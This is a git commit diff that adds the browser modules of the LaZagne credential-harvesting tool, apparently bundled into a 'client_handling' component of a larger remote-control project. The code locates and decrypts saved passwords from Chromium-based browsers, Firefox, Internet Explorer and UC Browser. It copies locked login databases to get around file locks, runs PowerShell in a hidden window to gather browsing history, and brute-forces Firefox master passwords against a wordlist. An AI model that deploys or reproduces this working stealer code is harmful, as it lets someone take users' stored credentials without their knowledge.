diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/lazagne/softwares/browsers |
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/browsers')
5 files changed, 911 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/browsers/__init__.py b/foreign/client_handling/lazagne/softwares/browsers/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/browsers/__init__.py diff --git a/foreign/client_handling/lazagne/softwares/browsers/chromium_based.py b/foreign/client_handling/lazagne/softwares/browsers/chromium_based.py new file mode 100644 index 0000000..7fc7e85 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/browsers/chromium_based.py @@ -0,0 +1,203 @@ +# -*- coding: utf-8 -*- +import base64 +import json +import os +import random +import shutil +import sqlite3 +import string +import tempfile +import traceback + +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData +from foreign.client_handling.lazagne.softwares.windows.credman import Credman + + +class ChromiumBased(ModuleInfo): + def __init__(self, browser_name, paths): + self.paths = paths if isinstance(paths, list) else [paths] + self.database_query = 'SELECT action_url, username_value, password_value FROM logins' + ModuleInfo.__init__(self, browser_name, 'browsers', winapi_used=True) + + def _get_database_dirs(self): + """ + Return database directories for all profiles within all paths + """ + databases = set() + for path in [p.format(**constant.profile) for p in self.paths]: + profiles_path = os.path.join(path, u'Local State') + if os.path.exists(profiles_path): + # List all users profile (empty string means current dir, without a profile) + profiles = {'Default', ''} + + # Automatic join all other additional profiles + for dirs in os.listdir(path): + dirs_path = os.path.join(path, dirs) + if (os.path.isdir(dirs_path) == True) and (dirs.startswith('Profile')): + profiles.extend(dirs) + + with open(profiles_path) as f: + try: + data = json.load(f) + # Add profiles from json to Default profile. set removes duplicates + profiles |= set(data['profile']['info_cache']) + except Exception: + pass + + # Each profile has its own password database + for profile in profiles: + # Some browsers use names other than "Login Data" + # Like YandexBrowser - "Ya Login Data", UC Browser - "UC Login Data.18" + try: + db_files = os.listdir(os.path.join(path, profile)) + except Exception: + continue + for db in db_files: + if u'login data' in db.lower(): + databases.add(os.path.join(path, profile, db)) + return databases + + def _export_credentials(self, db_path, is_yandex=False): + """ + Export credentials from the given database + + :param unicode db_path: database path + :return: list of credentials + :rtype: tuple + """ + credentials = [] + yandex_enckey = None + + if is_yandex: + try: + credman_passwords = Credman().run() + for credman_password in credman_passwords: + if b'Yandex' in credman_password.get('URL', b''): + if credman_password.get('Password'): + yandex_enckey = credman_password.get('Password') + self.info('EncKey found: {encKey}'.format(encKey=repr(yandex_enckey))) + except Exception: + self.debug(traceback.format_exc()) + # Passwords could not be decrypted without encKey + self.info('EncKey has not been retrieved') + return [] + + try: + conn = sqlite3.connect(db_path) + cursor = conn.cursor() + cursor.execute(self.database_query) + except Exception: + self.debug(traceback.format_exc()) + return credentials + + for url, login, password in cursor.fetchall(): + try: + # Yandex passwords use a masterkey stored on windows credential manager + # https://yandex.com/support/browser-passwords-crypto/without-master.html + if is_yandex and yandex_enckey: + try: + p = json.loads(str(password)) + except Exception: + p = json.loads(password) + + password = base64.b64decode(p['p']) + + # Passwords are stored using AES-256-GCM algorithm + # The key used to encrypt is stored on the credential manager + + # from cryptography.hazmat.primitives.ciphers.aead import AESGCM + # aesgcm = AESGCM(yandex_enckey) + # Failed... + else: + # Decrypt the Password + password = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user, + user_dpapi=constant.user_dpapi) + + if not url and not login and not password: + continue + + credentials.append((url, login, password)) + except Exception: + self.debug(traceback.format_exc()) + + conn.close() + return credentials + + def copy_db(self, database_path): + """ + Copying db will bypass lock errors + Using user tempfile will produce an error when impersonating users (Permission denied) + A public directory should be used if this error occured (e.g C:\\Users\\Public) + """ + random_name = ''.join([random.choice(string.ascii_lowercase) for i in range(9)]) + root_dir = [ + tempfile.gettempdir(), + os.environ.get('PUBLIC', None), + os.environ.get('SystemDrive', None) + '\\', + ] + for r in root_dir: + try: + temp = os.path.join(r, random_name) + shutil.copy(database_path, temp) + self.debug(u'Temporary db copied: {db_path}'.format(db_path=temp)) + return temp + except Exception: + self.debug(traceback.format_exc()) + return False + + def clean_file(self, db_path): + try: + os.remove(db_path) + except Exception: + self.debug(traceback.format_exc()) + + def run(self): + credentials = [] + for database_path in self._get_database_dirs(): + is_yandex = False if 'yandex' not in database_path.lower() else True + + # Remove Google Chrome false positif + if database_path.endswith('Login Data-journal'): + continue + + self.debug('Database found: {db}'.format(db=database_path)) + + # Copy database before to query it (bypass lock errors) + path = self.copy_db(database_path) + if path: + try: + credentials.extend(self._export_credentials(path, is_yandex)) + except Exception: + self.debug(traceback.format_exc()) + self.clean_file(path) + + return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(credentials)] + + +# Name, path or a list of paths +chromium_browsers = [ + (u'7Star', u'{LOCALAPPDATA}\\7Star\\7Star\\User Data'), + (u'amigo', u'{LOCALAPPDATA}\\Amigo\\User Data'), + (u'brave', u'{LOCALAPPDATA}\\BraveSoftware\\Brave-Browser\\User Data'), + (u'centbrowser', u'{LOCALAPPDATA}\\CentBrowser\\User Data'), + (u'chedot', u'{LOCALAPPDATA}\\Chedot\\User Data'), + (u'chrome canary', u'{LOCALAPPDATA}\\Google\\Chrome SxS\\User Data'), + (u'chromium', u'{LOCALAPPDATA}\\Chromium\\User Data'), + (u'coccoc', u'{LOCALAPPDATA}\\CocCoc\\Browser\\User Data'), + (u'comodo dragon', u'{LOCALAPPDATA}\\Comodo\\Dragon\\User Data'), # Comodo IceDragon is Firefox-based + (u'elements browser', u'{LOCALAPPDATA}\\Elements Browser\\User Data'), + (u'epic privacy browser', u'{LOCALAPPDATA}\\Epic Privacy Browser\\User Data'), + (u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'), + (u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'), + (u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'), + (u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'), + (u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'), + (u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'), + (u'uran', u'{LOCALAPPDATA}\\uCozMedia\\Uran\\User Data'), + (u'vivaldi', u'{LOCALAPPDATA}\\Vivaldi\\User Data'), + (u'yandexBrowser', u'{LOCALAPPDATA}\\Yandex\\YandexBrowser\\User Data') +] + +chromium_browsers = [ChromiumBased(browser_name=name, paths=paths) for name, paths in chromium_browsers] diff --git a/foreign/client_handling/lazagne/softwares/browsers/ie.py b/foreign/client_handling/lazagne/softwares/browsers/ie.py new file mode 100644 index 0000000..fcbbac8 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/browsers/ie.py @@ -0,0 +1,197 @@ +import hashlib +import subprocess +import traceback + +import foreign.client_handling.lazagne.config.winstructure as win +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import constant + +try: + import _subprocess as sub + STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3 + SW_HIDE = sub.SW_HIDE +except ImportError: + STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW + SW_HIDE = subprocess.SW_HIDE + +try: + import _winreg as winreg +except ImportError: + import winreg + + +class IE(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'ie', 'browsers', registry_used=True, winapi_used=True) + + def get_hash_table(self): + # get the url list + urls = self.get_history() + + # calculate the hash for all urls found on the history + hash_tables = [] + for u in range(len(urls)): + try: + h = (urls[u] + '\0').encode('UTF-16LE') + hash_tables.append([h, hashlib.sha1(h).hexdigest().lower()]) + except Exception: + self.debug(traceback.format_exc()) + return hash_tables + + def get_history(self): + urls = self.history_from_regedit() + try: + urls = urls + self.history_from_powershell() + except Exception: + self.debug(traceback.format_exc()) + + urls = urls + ['https://www.facebook.com/', 'https://www.gmail.com/', 'https://accounts.google.com/', + 'https://accounts.google.com/servicelogin'] + return urls + + def history_from_powershell(self): + # From https://richardspowershellblog.wordpress.com/2011/06/29/ie-history-to-csv/ + cmdline = ''' + function get-iehistory { + [CmdletBinding()] + param () + + $shell = New-Object -ComObject Shell.Application + $hist = $shell.NameSpace(34) + $folder = $hist.Self + + $hist.Items() | + foreach { + if ($_.IsFolder) { + $siteFolder = $_.GetFolder + $siteFolder.Items() | + foreach { + $site = $_ + + if ($site.IsFolder) { + $pageFolder = $site.GetFolder + $pageFolder.Items() | + foreach { + $visit = New-Object -TypeName PSObject -Property @{ + URL = $($pageFolder.GetDetailsOf($_,0)) + } + $visit + } + } + } + } + } + } + get-iehistory + ''' + command = ['powershell.exe', '/c', cmdline] + info = subprocess.STARTUPINFO() + info.dwFlags = STARTF_USESHOWWINDOW + info.wShowWindow = SW_HIDE + p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, + stdin=subprocess.PIPE, universal_newlines=True) + results, _ = p.communicate() + + urls = [] + for r in results.split('\n'): + if r.startswith('http'): + urls.append(r.strip()) + return urls + + def history_from_regedit(self): + urls = [] + try: + hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\TypedURLs') + except Exception: + self.debug(traceback.format_exc()) + return [] + + num = winreg.QueryInfoKey(hkey)[1] + for x in range(0, num): + k = winreg.EnumValue(hkey, x) + if k: + urls.append(k[1]) + winreg.CloseKey(hkey) + return urls + + def decipher_password(self, cipher_text, u): + pwd_found = [] + # deciper the password + pwd = win.Win32CryptUnprotectData(cipher_text, u, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) + a = '' + if pwd: + for i in range(len(pwd)): + try: + a = pwd[i:].decode('UTF-16LE') + a = a.decode('utf-8') + break + except Exception: + return [] + if not a: + return [] + # the last one is always equal to 0 + secret = a.split('\x00') + if secret[len(secret) - 1] == '': + secret = secret[:len(secret) - 1] + + # define the length of the tab + if len(secret) % 2 == 0: + length = len(secret) + else: + length = len(secret) - 1 + + # list username / password in clear text + password = None + for s in range(length): + try: + if s % 2 != 0: + pwd_found.append({ + 'URL': u.decode('UTF-16LE'), + 'Login': secret[length - s], + 'Password': password + }) + else: + password = secret[length - s] + except Exception: + self.debug(traceback.format_exc()) + + return pwd_found + + def run(self): + if float(win.get_os_version()) > 6.1: + self.debug(u'Internet Explorer passwords are stored in Vault (check vault module)') + return + + pwd_found = [] + try: + hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2') + except Exception: + self.debug(traceback.format_exc()) + else: + nb_site = 0 + nb_pass_found = 0 + + # retrieve the urls from the history + hash_tables = self.get_hash_table() + + num = winreg.QueryInfoKey(hkey)[1] + for x in range(0, num): + k = winreg.EnumValue(hkey, x) + if k: + nb_site += 1 + for h in hash_tables: + # both hash are similar, we can decipher the password + if h[1] == k[0][:40].lower(): + nb_pass_found += 1 + cipher_text = k[1] + pwd_found += self.decipher_password(cipher_text, h[0]) + break + + winreg.CloseKey(hkey) + + # manage errors + if nb_site > nb_pass_found: + self.error(u'%s hashes have not been decrypted, the associate website used to decrypt the ' + u'passwords has not been found' % str(nb_site - nb_pass_found)) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/browsers/mozilla.py b/foreign/client_handling/lazagne/softwares/browsers/mozilla.py new file mode 100644 index 0000000..6f9c7e7 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/browsers/mozilla.py @@ -0,0 +1,490 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472) +# from https://github.com/lclevy/firepwd/blob/master/firepwd.py + +import hmac +import json +import sqlite3 +import struct +import traceback +from base64 import b64decode +from binascii import unhexlify +from hashlib import sha1 + +from pyasn1.codec.der import decoder + +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.crypto.pyDes import triple_des, CBC +from foreign.client_handling.lazagne.config.dico import get_dic +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import char_to_int, convert_to_byte + +try: + from ConfigParser import RawConfigParser # Python 2.7 +except ImportError: + from configparser import RawConfigParser # Python 3 +import os + + +def l(n): + try: + return long(n) + except NameError: + return int(n) + + +def long_to_bytes(n, blocksize=0): + """long_to_bytes(n:long, blocksize:int) : string + Convert a long integer to a byte string. + If optional blocksize is given and greater than zero, pad the front of the + byte string with binary zeros so that the length is a multiple of + blocksize. + """ + # after much testing, this algorithm was deemed to be the fastest + s = convert_to_byte('') + n = l(n) + while n > 0: + s = struct.pack('>I', n & 0xffffffff) + s + n = n >> 32 + + # strip off leading zeros + for i in range(len(s)): + if s[i] != convert_to_byte('\000')[0]: + break + else: + # only happens when n == 0 + s = convert_to_byte('\000') + i = 0 + s = s[i:] + # add back some pad bytes. this could be done more efficiently w.r.t. the + # de-padding being done above, but sigh... + if blocksize > 0 and len(s) % blocksize: + s = (blocksize - len(s) % blocksize) * convert_to_byte('\000') + s + + return s + + +class Mozilla(ModuleInfo): + + def __init__(self, browser_name, path): + self.path = path + ModuleInfo.__init__(self, browser_name, 'browsers') + + def get_firefox_profiles(self, directory): + """ + List all profiles + """ + cp = RawConfigParser() + profile_list = [] + try: + cp.read(os.path.join(directory, 'profiles.ini')) + for section in cp.sections(): + if section.startswith('Profile') and cp.has_option(section, 'Path'): + profile_path = None + + if cp.has_option(section, 'IsRelative'): + if cp.get(section, 'IsRelative') == '1': + profile_path = os.path.join(directory, cp.get(section, 'Path').strip()) + elif cp.get(section, 'IsRelative') == '0': + profile_path = cp.get(section, 'Path').strip() + + else: # No "IsRelative" in profiles.ini + profile_path = os.path.join(directory, cp.get(section, 'Path').strip()) + + if profile_path: + profile_path.replace('/', '\\') + profile_list.append(profile_path) + + except Exception as e: + self.error(u'An error occurred while reading profiles.ini: {}'.format(e)) + return profile_list + + def get_key(self, profile): + """ + Get main key used to encrypt all data (user / password). + Depending on the Firefox version, could be stored in key3.db or key4.db file. + """ + try: + row = None + # Remove error when file is empty + with open(os.path.join(profile, 'key4.db'), 'rb') as f: + content = f.read() + + if content: + conn = sqlite3.connect(os.path.join(profile, 'key4.db')) # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite + c = conn.cursor() + # First check password + c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';") + try: + row = c.next() # Python 2 + except Exception: + row = next(c) # Python 3 + + except Exception: + self.debug(traceback.format_exc()) + else: + if row: + (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password='', key_data=row) + + if global_salt: + # Decrypt 3DES key to decrypt "logins.json" content + c.execute("SELECT a11,a102 FROM nssPrivate;") + for row in c: + if row[0]: + break + a11 = row[0] # CKA_VALUE + a102 = row[1] # f8000000000000000000000000000001, CKA_ID + # self.print_asn1(a11, len(a11), 0) + # SEQUENCE { + # SEQUENCE { + # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 + # SEQUENCE { + # OCTETSTRING entry_salt_for_3des_key + # INTEGER 01 + # } + # } + # OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding) + # } + decoded_a11 = decoder.decode(a11) + entry_salt = decoded_a11[0][0][1][0].asOctets() + cipher_t = decoded_a11[0][1].asOctets() + key = self.decrypt_3des(global_salt, master_password, entry_salt, cipher_t) + if key: + self.debug(u'key: {key}'.format(key=repr(key))) + yield key[:24] + + try: + key_data = self.read_bsddb(os.path.join(profile, 'key3.db')) + # Check masterpassword + (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password='', + key_data=key_data, + new_version=False) + if global_salt: + key = self.extract_secret_key(key_data=key_data, + global_salt=global_salt, + master_password=master_password, + entry_salt=entry_salt) + if key: + self.debug(u'key: {key}'.format(key=repr(key))) + yield key[:24] + except Exception: + self.debug(traceback.format_exc()) + + @staticmethod + def get_short_le(d, a): + return struct.unpack('<H', d[a:a + 2])[0] + + @staticmethod + def get_long_be(d, a): + return struct.unpack('>L', d[a:a + 4])[0] + + def print_asn1(self, d, l, rl): + """ + Used for debug + """ + type_ = char_to_int(d[0]) + length = char_to_int(d[1]) + if length & 0x80 > 0: # http://luca.ntop.org/Teaching/Appunti/asn1.html, + # nByteLength = length & 0x7f + length = char_to_int(d[2]) + # Long form. Two to 127 octets. Bit 8 of first octet has value "1" and + # bits 7-1 give the number of additional length octets. + skip = 1 + else: + skip = 0 + + if type_ == 0x30: + seq_len = length + read_len = 0 + while seq_len > 0: + len2 = self.print_asn1(d[2 + skip + read_len:], seq_len, rl + 1) + seq_len = seq_len - len2 + read_len = read_len + len2 + return length + 2 + elif type_ in (0x6, 0x5, 0x4, 0x2): # OID, OCTETSTRING, NULL, INTEGER + return length + 2 + elif length == l - 2: + self.print_asn1(d[2:], length, rl + 1) + return length + + def read_bsddb(self, name): + """ + Extract records from a BSD DB 1.85, hash mode + Obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used + """ + with open(name, 'rb') as f: + # http://download.oracle.com/berkeley-db/db.1.85.tar.gz + header = f.read(4 * 15) + magic = self.get_long_be(header, 0) + if magic != 0x61561: + self.error(u'Bad magic number') + return False + + version = self.get_long_be(header, 4) + if version != 2: + self.error(u'Bad version !=2 (1.85)') + return False + + pagesize = self.get_long_be(header, 12) + nkeys = self.get_long_be(header, 0x38) + readkeys = 0 + page = 1 + db1 = [] + + while readkeys < nkeys: + f.seek(pagesize * page) + offsets = f.read((nkeys + 1) * 4 + 2) + offset_vals = [] + i = 0 + nval = 0 + val = 1 + keys = 0 + + while nval != val: + keys += 1 + key = self.get_short_le(offsets, 2 + i) + val = self.get_short_le(offsets, 4 + i) + nval = self.get_short_le(offsets, 8 + i) + offset_vals.append(key + pagesize * page) + offset_vals.append(val + pagesize * page) + readkeys += 1 + i += 4 + + offset_vals.append(pagesize * (page + 1)) + val_key = sorted(offset_vals) + for i in range(keys * 2): + f.seek(val_key[i]) + data = f.read(val_key[i + 1] - val_key[i]) + db1.append(data) + page += 1 + + db = {} + for i in range(0, len(db1), 2): + db[db1[i + 1]] = db1[i] + + return db + + @staticmethod + def decrypt_3des(global_salt, master_password, entry_salt, encrypted_data): + """ + User master key is also encrypted (if provided, the master_password could be used to encrypt it) + """ + # See http://www.drh-consultancy.demon.co.uk/key3.html + hp = sha1(global_salt + master_password.encode()).digest() + pes = entry_salt + convert_to_byte('\x00') * (20 - len(entry_salt)) + chp = sha1(hp + entry_salt).digest() + k1 = hmac.new(chp, pes + entry_salt, sha1).digest() + tk = hmac.new(chp, pes, sha1).digest() + k2 = hmac.new(chp, tk + entry_salt, sha1).digest() + k = k1 + k2 + iv = k[-8:] + key = k[:24] + return triple_des(key, CBC, iv).decrypt(encrypted_data) + + def extract_secret_key(self, key_data, global_salt, master_password, entry_salt): + + if unhexlify('f8000000000000000000000000000001') not in key_data: + return None + + priv_key_entry = key_data[unhexlify('f8000000000000000000000000000001')] + salt_len = char_to_int(priv_key_entry[1]) + name_len = char_to_int(priv_key_entry[2]) + priv_key_entry_asn1 = decoder.decode(priv_key_entry[3 + salt_len + name_len:]) + data = priv_key_entry[3 + salt_len + name_len:] + # self.print_asn1(data, len(data), 0) + + # See https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt + entry_salt = priv_key_entry_asn1[0][0][1][0].asOctets() + priv_key_data = priv_key_entry_asn1[0][1].asOctets() + priv_key = self.decrypt_3des(global_salt, master_password, entry_salt, priv_key_data) + # self.print_asn1(priv_key, len(priv_key), 0) + priv_key_asn1 = decoder.decode(priv_key) + pr_key = priv_key_asn1[0][2].asOctets() + # self.print_asn1(pr_key, len(pr_key), 0) + pr_key_asn1 = decoder.decode(pr_key) + # id = pr_key_asn1[0][1] + key = long_to_bytes(pr_key_asn1[0][3]) + return key + + @staticmethod + def decode_login_data(data): + asn1data = decoder.decode(b64decode(data)) # First base64 decoding, then ASN1DERdecode + # For login and password, keep :(key_id, iv, ciphertext) + return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets() + + def get_login_data(self, profile): + """ + Get encrypted data (user / password) and host from the json or sqlite files + """ + conn = sqlite3.connect(os.path.join(profile, 'signons.sqlite')) + logins = [] + c = conn.cursor() + try: + c.execute('SELECT * FROM moz_logins;') + except sqlite3.OperationalError: # Since Firefox 32, json is used instead of sqlite3 + try: + logins_json = os.path.join(profile, 'logins.json') + if os.path.isfile(logins_json): + with open(logins_json) as f: + loginf = f.read() + if loginf: + json_logins = json.loads(loginf) + if 'logins' not in json_logins: + self.debug('No logins key in logins.json') + return logins + for row in json_logins['logins']: + enc_username = row['encryptedUsername'] + enc_password = row['encryptedPassword'] + logins.append((self.decode_login_data(enc_username), + self.decode_login_data(enc_password), row['hostname'])) + return logins + except Exception: + self.debug(traceback.format_exc()) + return [] + + # Using sqlite3 database + for row in c: + enc_username = row[6] + enc_password = row[7] + logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1])) + return logins + + def manage_masterpassword(self, master_password='', key_data=None, new_version=True): + """ + Check if a master password is set. + If so, try to find it using a dictionary attack + """ + (global_salt, master_password, entry_salt) = self.is_master_password_correct(master_password=master_password, + key_data=key_data, + new_version=new_version) + + if not global_salt: + self.info(u'Master Password is used !') + (global_salt, master_password, entry_salt) = self.brute_master_password(key_data=key_data, + new_version=new_version) + if not master_password: + return '', '', '' + + return global_salt, master_password, entry_salt + + def is_master_password_correct(self, key_data, master_password='', new_version=True): + try: + if not new_version: + # See http://www.drh-consultancy.demon.co.uk/key3.html + pwd_check = key_data.get(b'password-check') + if not pwd_check: + return '', '', '' + entry_salt_len = char_to_int(pwd_check[1]) + entry_salt = pwd_check[3: 3 + entry_salt_len] + encrypted_passwd = pwd_check[-16:] + global_salt = key_data[b'global-salt'] + + else: + global_salt = key_data[0] # Item1 + item2 = key_data[1] + # self.print_asn1(item2, len(item2), 0) + # SEQUENCE { + # SEQUENCE { + # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 + # SEQUENCE { + # OCTETSTRING entry_salt_for_passwd_check + # INTEGER 01 + # } + # } + # OCTETSTRING encrypted_password_check + # } + decoded_item2 = decoder.decode(item2) + entry_salt = decoded_item2[0][0][1][0].asOctets() + encrypted_passwd = decoded_item2[0][1].asOctets() + + cleartext_data = self.decrypt_3des(global_salt, master_password, entry_salt, encrypted_passwd) + if cleartext_data != convert_to_byte('password-check\x02\x02'): + return '', '', '' + + return global_salt, master_password, entry_salt + except Exception: + self.debug(traceback.format_exc()) + return '', '', '' + + def brute_master_password(self, key_data, new_version=True): + """ + Try to find master_password doing a dictionary attack using the 500 most used passwords + """ + wordlist = constant.password_found + get_dic() + num_lines = (len(wordlist) - 1) + self.info(u'%d most used passwords! ' % num_lines) + + for word in wordlist: + global_salt, master_password, entry_salt = self.is_master_password_correct(key_data=key_data, + master_password=word.strip(), + new_version=new_version) + if master_password: + self.debug(u'Master password found: {}'.format(master_password)) + return global_salt, master_password, entry_salt + + self.warning(u'No password has been found using the default list') + return '', '', '' + + def remove_padding(self, data): + """ + Remove PKCS#7 padding + """ + try: + nb = struct.unpack('B', data[-1])[0] # Python 2 + except Exception: + nb = data[-1] # Python 3 + + try: + return data[:-nb] + except Exception: + self.debug(traceback.format_exc()) + return data + + def decrypt(self, key, iv, ciphertext): + """ + Decrypt ciphered data (user / password) using the key previously found + """ + data = triple_des(key, CBC, iv).decrypt(ciphertext) + return self.remove_padding(data) + + def run(self): + """ + Main function + """ + # path = self.get_path(software_name) + pwd_found = [] + self.path = self.path.format(**constant.profile) + if os.path.exists(self.path): + for profile in self.get_firefox_profiles(self.path): + self.debug(u'Profile path found: {profile}'.format(profile=profile)) + + credentials = self.get_login_data(profile) + if credentials: + for key in self.get_key(profile): + for user, passw, url in credentials: + try: + pwd_found.append({ + 'URL': url, + 'Login': self.decrypt(key=key, iv=user[1], ciphertext=user[2]).decode("utf-8"), + 'Password': self.decrypt(key=key, iv=passw[1], ciphertext=passw[2]).decode("utf-8"), + }) + except Exception as e: + self.debug(u'An error occurred decrypting the password: {error}'.format(error=e)) + else: + self.info(u'Database empty') + + return pwd_found + + +# Name, path +firefox_browsers = [ + (u'firefox', u'{APPDATA}\\Mozilla\\Firefox'), + (u'blackHawk', u'{APPDATA}\\NETGATE Technologies\\BlackHawk'), + (u'cyberfox', u'{APPDATA}\\8pecxstudios\\Cyberfox'), + (u'comodo IceDragon', u'{APPDATA}\\Comodo\\IceDragon'), + (u'k-Meleon', u'{APPDATA}\\K-Meleon'), + (u'icecat', u'{APPDATA}\\Mozilla\\icecat'), +] + +firefox_browsers = [Mozilla(browser_name=name, path=path) for name, path in firefox_browsers] diff --git a/foreign/client_handling/lazagne/softwares/browsers/ucbrowser.py b/foreign/client_handling/lazagne/softwares/browsers/ucbrowser.py new file mode 100644 index 0000000..0089441 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/browsers/ucbrowser.py @@ -0,0 +1,21 @@ +# -*- coding: utf-8 -*- +import os + +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.softwares.browsers.chromium_based import ChromiumBased + + +class UCBrowser(ChromiumBased): + def __init__(self): + self.database_query = 'SELECT action_url, username_value, password_value FROM wow_logins' + ModuleInfo.__init__(self, 'uc browser', 'browsers', winapi_used=True) + + def _get_database_dirs(self): + data_dir = u'{LOCALAPPDATA}\\UCBrowser'.format(**constant.profile) + try: + # UC Browser seems to have random characters appended to the User Data dir so we'll list them all + self.paths = [os.path.join(data_dir, d) for d in os.listdir(data_dir)] + except Exception: + self.paths = [] + return ChromiumBased._get_database_dirs(self) |